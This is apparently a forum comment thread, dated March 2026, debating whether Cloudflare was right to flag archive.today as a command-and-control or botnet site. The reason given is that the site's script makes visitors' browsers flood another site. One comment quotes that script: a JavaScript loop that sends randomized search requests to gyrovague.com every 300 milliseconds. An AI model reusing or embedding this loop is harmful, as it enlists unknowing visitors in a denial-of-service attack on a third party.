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Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @06:54AM (#47476228)
Two wrong don’t make a right.
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by Cytobit on Sunday March 22, 2026 @07:23AM (#47476390)
True, but not relevant.
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @07:34AM (#47476447)
Relevant because Cloudflare manipulated the DNS using a false reasoning
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by cuu508 on Sunday March 22, 2026 @07:48AM (#47476543)
1.1.1.2 blocks malware, and archive.today performs DDOS. Where's the false reasoning?
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @09:07AM (#47477119)
It‘s not a C&C/Botnet
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by cuu508 on Sunday March 22, 2026 @09:19AM (#47477233)
It is C&C -- it instructs their site visitors to DOS a specific site.
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @10:20AM (#47477794)
A C&C controls a botnet, where is the botnet?
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by cuu508 on Sunday March 22, 2026 @10:29AM (#47477882)
The browsers of their site visitors.
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @10:33AM (#47477930)
If you need to be on the site it’s not a botnet and there is no C&C server coordinating the attack. It‘s just the JS on the site that makes the attack.
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by Hamuko on Sunday March 22, 2026 @12:47PM (#47479405)
Does this mean that the Great Cannon of China is not a botnet because it stops working when you close your browser?
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @01:42PM (#47480042)
Does the Great Cannon of China coordinate the attacks?

Does archive.today?

Hijacking a software like the browser is something completely different to a simple JS on a website.

Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by Hamuko on Sunday March 22, 2026 @01:46PM (#47480089)
>Does the Great Cannon of China coordinate the attacks?

Yes.

>Does archive.today?

Yes.

Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @02:09PM (#47480362)
How does archive.today coordinate the attack?
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by fastball on Sunday March 22, 2026 @03:01PM (#47480868)
By telling visitor browsers to DoS the site.
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @04:25PM (#47481774)
That’s not really coordinating.

It’s just a website with a simple request loop, not C&C server tells when the attacks have to happen.

This doesn’t make your browser a bot

  setInterval(function() {
            fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);
Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by jojomodding on Sunday March 22, 2026 @01:35PM (#47479963)
> If you need to be on the site it’s not a botnet

Why? I did not visit the site to participate in a DoS attack; yet my machine was coaxed into participating against my will. Whether this is happening in JS or a drive-by download or a browser 0-day is irrelevant.

Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by croes on Sunday March 22, 2026 @01:44PM (#47480061)
You did participate in archive.today’s DDoS without visiting the site?

How if it‘s JS code in the site?

Re:Cloudflare flags archive.today as "C&C/Botnet"; no longer... by zahlman on Sunday March 22, 2026 @05:51PM (#47482578)
By this logic, all malicious JavaScript (obvious example is cryptominers I guess, assuming no JS sandbox escape) is C&C, yeah? As it "instructs site visitors" to do something harmful locally?